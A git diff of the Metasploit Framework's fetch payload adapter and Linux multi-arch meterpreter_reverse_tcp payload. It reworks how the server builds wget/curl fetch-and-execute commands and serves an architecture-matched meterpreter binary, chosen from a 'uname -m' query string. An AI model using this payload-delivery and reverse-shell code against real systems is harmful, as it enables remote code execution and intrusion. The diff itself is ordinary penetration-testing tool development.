718bd0074fb59..f646dcb2005b1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -105,10 +105,9 @@ def fetch_bindport datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] end - def add_srv_entry(uri, data, arch = ARCH_CMD) - vprint_status "#{__LINE__}" + def add_srv_entry(uri, data, opts) srv_entry = { - :arch => arch, + :opts => opts, :uri => uri, :data => data } @@ -132,37 +131,46 @@ def pipe_supported_binaries %w[WGET GET CURL] end - # Builds an adapted payload executable, starts any required pipe command state, - # and returns the remote command that should fetch and execute the payload. - # - # @param opts [Hash] Payload generation options. - # @return [String] The fetch command to run on the target. def generate(opts = {}) - vprint_status "#{__method__}" - vprint_status "#{__LINE__}" + if opts[:dynamic_arch].nil? + # on the first call, dynamic_arch should not be set, so just move along + generate_fetch(opts) + else + # we've already generated the fetch command stuff but we did not know the + # arch until we got the http request from a multi/meterpreter_reverse_tcp payload. + # now, we just call super because the real arch is already in opts[:arch] + super(opts) + end + end + + + def generate_fetch(opts = {}) + vprint_status("#{__method__}:#{__LINE__}") opts[:arch] ||= module_info['AdaptedArch'] - @payload_opts = opts[:arch] - dynamic_arch = false vprint_status "#{__LINE__}" if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' vprint_status "#{__LINE__}" - dynamic_arch = true + opts[:dynamic_arch] = true + # if we don't have a valid arch, let's just put a placeholder in the data location add_srv_entry(srvuri, 'x', opts) else vprint_status "#{__LINE__}" - dynamic_arch = false + opts[:dynamic_arch] = false + super(opts) + # if we do have a valid arch, let's generate it now + # so if it fails we know before the exploit runs add_srv_entry(srvuri, generate_payload_exe(opts), opts) end vprint_status "#{__LINE__}" - cmd = generate_fetch_commands(srvuri, dynamic_arch) + cmd = generate_fetch_commands(srvuri, opts[:dynamic_arch]) if datastore['FETCH_PIPE'] vprint_status "#{__LINE__}" unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") end cmd << '\n' if windows? # Needs CR for Windows command - add_srv_entry(pipe_srvuri, cmd) + add_srv_entry(pipe_srvuri, cmd, opts) cmd = generate_pipe_command(pipe_srvuri) end vprint_status "#{__LINE__}" @@ -183,7 +191,7 @@ def generate_fetch_commands(uri, dynamic_arch) when 'TNFTP' return _generate_tnftp_command(uri) when 'WGET' - return _generate_wget_command(uri) + return _generate_wget_command(uri, dynamic_arch) when 'CURL' return _generate_curl_command(uri, dynamic_arch) when 'TFTP' @@ -500,15 +508,17 @@ def _generate_tnftp_command # Builds a wget-based command line for fetching the payload. # # @return [String] The wget fetch-and-execute command. - def _generate_wget_command + def _generate_wget_command(uri, dynamic_arch) case fetch_protocol when 'HTTPS' - get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" + get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri(uri)}" + when 'HTTP' - get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}" + get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end + get_file_cmd << "?arch=$(uname -m)" if dynamic_arch _execute_add(get_file_cmd) end diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index 24b4111769859..b1755932862b2 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -20,14 +20,17 @@ def cleanup_handler def setup_handler unless datastore['FetchHandlerDisable'] + vprint_status("#{__method__}:#{__LINE__}") @fetch_service = start_http_fetch_handler(srvname) - escaped_uri = ('/' + srvuri).gsub('//', '/') - add_resource(@fetch_service, escaped_uri, @srvexe) - unless @pipe_uri.nil? - uri = ('/' + @pipe_uri).gsub('//', '/') - add_resource(@fetch_service, uri, @pipe_cmd) + @srv_resources.each do |srv_entry| + vprint_status("#{__method__}:#{__LINE__}") + escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/') + @myresources << escaped_uri + add_resource(@fetch_service, escaped_uri, srv_entry) + vprint_status("#{__method__}:#{__LINE__}") end end super end + end diff --git a/lib/msf/core/payload/adapter/fetch/multi.rb b/lib/msf/core/payload/adapter/fetch/multi.rb index 7a2a06595cdf4..7618877f89100 100644 --- a/lib/msf/core/payload/adapter/fetch/multi.rb +++ b/lib/msf/core/payload/adapter/fetch/multi.rb @@ -29,19 +29,6 @@ def _generate_multi_commands(arch_payloads = []) script end - def _generate_bruteforce_multi_commands(arch_payloads = []) - # Don't bother trying to figure out the OS arch.... just try to run them all. - script = '' - arch_payloads.each do |srv_entry| - vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") - datastore['FETCH_FILENAME'] = srv_entry[:uri].dup - vprint_status(datastore['FETCH_FILENAME']) - script << generate_fetch_commands(srv_entry[:uri]).to_s - end - print_status(script) - script - end - def os_arches(meterp_arch) # multiple `uname -m` values map to the same payload arch # we will probably need to expand this diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index e148dad896e9c..aa1d8c3bab988 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -20,7 +20,7 @@ def srvname datastore['FetchHttpServerName'] end - def add_resource(fetch_service, uri, opts) + def add_resource(fetch_service, uri, srv_entry) vprint_status("Adding resource #{uri}") begin if fetch_service.resources.include?(uri) @@ -29,7 +29,7 @@ def add_resource(fetch_service, uri, opts) end fetch_service.add_resource(uri, 'Proc' => proc do |cli, req| - on_request_uri(cli, req, opts) + on_request_uri(cli, req, srv_entry) end, 'VirtualDirectory' => true) rescue ::Exception => e @@ -62,24 +62,42 @@ def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compressi fetch_service end - def on_request_uri(cli, request, opts) + def on_request_uri(cli, request, srv_entry) + vprint_status("#{__method__}:#{__LINE__}") + opts = srv_entry[:opts] + vprint_status(opts.to_s) client = cli.peerhost vprint_status("Client #{client} requested #{request.uri}") if (user_agent = request.headers['User-Agent']) client += " (#{user_agent})" end + vprint_status("#{__method__}:#{__LINE__}") vprint_status("Sending payload to #{client}") - vprint_status request.to_s - vprint_status request.uri_parts['QueryString']['arch'].to_s - arch = to_meterp_arch(request.uri_parts['QueryString']['arch']) - vprint_status("Building payload for #{arch} arch") - vprint_status(opts[:arch]) - opts[:arch] = arch - vprint_status("1") - @multi_arch = arch - vprint_status("2") - opts[:code] = super(opts) - cli.send_response(payload_response(generate_payload_exe(opts))) + vprint_status("#{__method__}:#{__LINE__}") + if opts[:dynamic_arch] + vprint_status("#{__method__}:#{__LINE__}") + vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") + vprint_status request.to_s + vprint_status request.uri_parts['QueryString']['arch'].to_s + arch = to_meterp_arch(request.uri_parts['QueryString']['arch']) + if arch.nil? + print_error("Failed to identify the architecture in Query String #{request.uri_parts['QueryString']['arch'].to_s}") + return nil + end + vprint_status("Building payload for #{arch.to_s} arch") + opts[:arch] = arch + @multi_arch = arch + vprint_status("2") + # Call generate with arch and dynamic_arch populated properly to build the right binary + payload_exe = generate(opts) + if payload_exe.nil? + print_error("No payload available for #{arch}") + else + cli.send_response(payload_response(payload_exe)) + end + else + cli.send_response(payload_response(srv_entry[:data])) + end end def payload_response(srvexe) diff --git a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb index 504d611051eda..49836e8cf5450 100644 --- a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb @@ -7,7 +7,7 @@ module MetasploitModule CachedSize = 1140752 include Msf::Payload::Single - include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig include Msf::Payload::Linux::MultiArch # must be last @@ -28,7 +28,9 @@ def initialize(info = {}) end def generate(opts = {}) + vprint_status("#{__method__}:#{__LINE__}") mettle_arch = mettle_arch_transform(desired_arch(opts)) + vprint_status("#{__method__}:#{__LINE__}") opts = { scheme: 'tcp', stageless: true